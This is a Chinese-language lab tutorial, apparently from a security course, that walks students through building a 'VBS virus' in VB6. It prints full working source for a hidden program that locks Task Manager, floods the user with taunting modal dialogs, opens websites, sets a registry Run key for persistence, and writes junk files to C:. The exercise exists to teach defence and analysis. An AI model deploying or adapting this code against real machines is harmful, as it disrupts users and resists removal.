VBS病毒实验
实验目的
探讨VBS病毒实现原理,为更好的深入防御和查杀病毒
实验原理
VBS病毒发生机理
实验内容
编写简单VBS病毒,并实现功能,学习VBS病毒发生机理
实验环境描述
VPC1(虚拟PC) 操作系统类型:windows xp,网络接口:eth0
VPC1连接要求 与实验网络相连
软件描述 VB6.0
实验步骤
1.学生单击实验进入目标主机,输入用户名和密码:xp 123456(第一次启动目标主机,还需要安装java空间),如图所示:

点击桌面上Visual Basic 6.0精简版——Visual Basic 6.0精简版,打开VB 6.0,如教材图2所示

进入VB6.0可看到如教材所示“新建工程”窗口





1 使用VB6.0 创建一个新的工程,在FORM1 的属性中,找到Visible,修改它的属性为False
这样运行程序时就看不到窗口了
2 在FORM1 的代码窗口中添加代码如下:
Private Sub Form_Load()
Dim say(9) As String
'定义了一个数组,可以保存10 个字符串数据,病毒作者往往使用数组存储调侃语句,捉弄
用户
Dim over As Boolean, i As Integer
over = False
say(0) = "真的好爱你哦!这不,为了摘朵玫瑰花@>+++---给你,竟让看花的老头追了9 条
街!"
'这里就是病毒作者的调侃语句
say(1) = "你以为你是谁?还不是中了病毒没招~~"
say(2) = "除非你承认错误,否则本病毒就是不给你关闭~"
'这里还可以设置很多语句
say(9) = "谁让你不好好学习计算机安全知识,中了病毒傻眼了吧~"
Open Environ("windir") + "\system32\taskmgr.exe" for Input Lock Read As #1
'使用open 语句打开任务管理器时,用户无法调用任务管理器关闭病毒进程
'其中的lock read 实现了锁定读操作
Do while over = False
'---------------------------------1:弹出模态窗口
MsgBox say(i), vbCritical, "病毒警告!"
'显示一个模态窗口,导致无法用户操作其他窗口
i = i + 1
'---------------------------------2:循环打开病毒网站
Shell "explorer.exe http://g.cn", vbNormalFocus
'---------------------------------3:写入注册表实现自启动
Set my = CreateObject("WScript.Shell") '创建一个WScript 对象
my.regWrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\test",
App.Path + "\" + App.EXEName + ".exe", "REG_SZ"
'---------------------------------4:写入垃圾信息
Dim x As Integer
Randomize
x = Rnd(1000)
On Error Resume Next
Open "c:\virus_" + CStr(x) + ".txt" for Output As #1 '打开磁盘文件
Print #1, say(i) '写入垃圾信息
Close
'---------------------------------OVER
if i = 10 Then over = True ' 这里只循环了10 次,黑客可能会循环无限次
Loop
Close
End Sub
3 生产程序后,执行病毒,会发现该病毒实现了弹出一些警告对话框及一些站点,同时会写入注册表实现病毒耳朵自启动,最后还会向磁盘写入一些垃圾信息。

jpg)


我们还会发现,病毒实现了自启动,运行,输入Regedit 打开注册表
我们在下图中的位置会发现,病毒在 Run 中填写了test,其键值指向我们病毒的程序


还会生成一些垃圾文件

VBS病毒实验的更多相关文章
- crack.vbs病毒,优盘里所有文件全变成快捷方式
去了一趟学校打印店,用优盘copy打印了点东西,当时在打印店电脑里打开优盘的时候里面就变成了快捷方式,但没怎么在意.回来之后在自己电脑上居然也这样了.网上一搜是中了crack.vbs病毒了.格式化优盘 ...
- autorun.vbs病毒的清除办法
症状:计算机里面出现一堆autorun为文件名称的文件,删除后出现找不到autorun.vbs的提示.我就打开当中的一个文件:Autorun.bat,内容例如以下: @echo off //不显示系 ...
- VBS脚本病毒特点及如何防范3(转)
5.Vbs病毒生产机的原理介绍 所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件.在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单. 脚本语言是解释执行的.不需要编译,程序 ...
- Vbs脚本经典教材(转)
Vbs脚本经典教材(最全的资料还是MSDN) —为什么要使用Vbs? 在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改 ...
- VBS教程
Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子 ...
- [转帖]VBS 教程
VBS教程 http://www.cnblogs.com/veggiegfei/p/5943260.html 原作者真牛B 网上找了好多 没找到 没想到整理的这么好, 转来学习一下 改天打印出来. V ...
- Vbs 脚本编程简明教程之一
—为什么要使用 Vbs ? 在 Windows 中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改名.删除,也许你每天启动 计算机第一件 ...
- Vbs脚本经典教材
转载:http://www.cnblogs.com/BeyondTechnology/archive/2011/01/10/1932440.html Vbs脚本经典教材(最全的资料还是MSDN) —为 ...
- JS七种加密解密方法
http://www.cnblogs.com/mq0036/p/4983858.html HTML或JS加密解密 本文一共介绍了七种方法: 一:最简单的加密解密 二:转义字符"\&q ...
随机推荐
- Linux下Makefile的编写及四个特殊符号的意义@、$@、$^、$
转自:https://blog.csdn.net/runfarther/article/details/50036115# 我们先看三段C++程序: 一.line1的源码 line1.h #ifnde ...
- gin中的SecureJSON 防止 json 劫持
使用 SecureJSON 防止 json 劫持.如果给定的结构是数组值或map,则默认预置 "while(1)," 到响应体. package main import ( &qu ...
- ESP32S2小项目-FM-网络时钟/电台-Arduino开发环境
ESP32S2小项目,FM,网络时钟/电台,Arduino开发环境 效果展示 @ 目录 ESP32S2小项目,FM,网络时钟/电台,Arduino开发环境 效果展示 开机动画: 网络时钟: FM模块: ...
- 学习JAVAWEB第十二天
## Servlet: 1. 概念 2. 步骤 3. 执行原理 4. 生命周期 5. Servlet3.0 注解配置 6. Servlet的体系结构 Servlet -- 接口 | GenericSe ...
- 学习Java第16天
今天学习了HTML的表格,列表标签及表单. 顺序有点乱,明天学习swing awt,当时这部分大概过了一下,明天看视频 主要问题还是新概念较多,需要多理解,多记忆.
- flask学习1
总结 Flask Web 框架 轻量 websocket 全双工通讯 socket TCP 通讯 MongoDB 数据库 文件型数据库 {} 没有限制 和 约束 Mui + HTML5 Plus 调用 ...
- 如何在pyqt中实现窗口磨砂效果
磨砂效果的实现思路 这两周一直在思考怎么在pyqt上实现窗口磨砂效果,网上搜了一圈,全都是 C++ 的实现方法.正好今天查python的官方文档的时候看到了 ctypes 里面的 HWND,想想倒不如 ...
- SharePoint Online 为Modern Page添加脚本
前言 众所周知,如果我们想向SharePoint 页面添加脚本,最方便的便是经典页面,添加方式主要有内容编辑器Web部件或者直接使用SharePoint Designer. 但是,如果页面是Moder ...
- Centos设置网络(固定IP)
简介 设置为桥接模式,即将虚拟机的虚拟网络适配器与主机的物理网络适配器进行交接,虚拟机中的虚拟网络适配器可通过主机中的物理网络适配器直接访问到外部网络. 配置 虚拟机设置为桥接模式 进入网络配置文件, ...
- Thread的打断
常用方法 public void interrupt() t.interrupt() 打断t线程(设置t线程某给标志位f=true,并不是打断线程的运行),不能打断正在竞争锁的线程. public b ...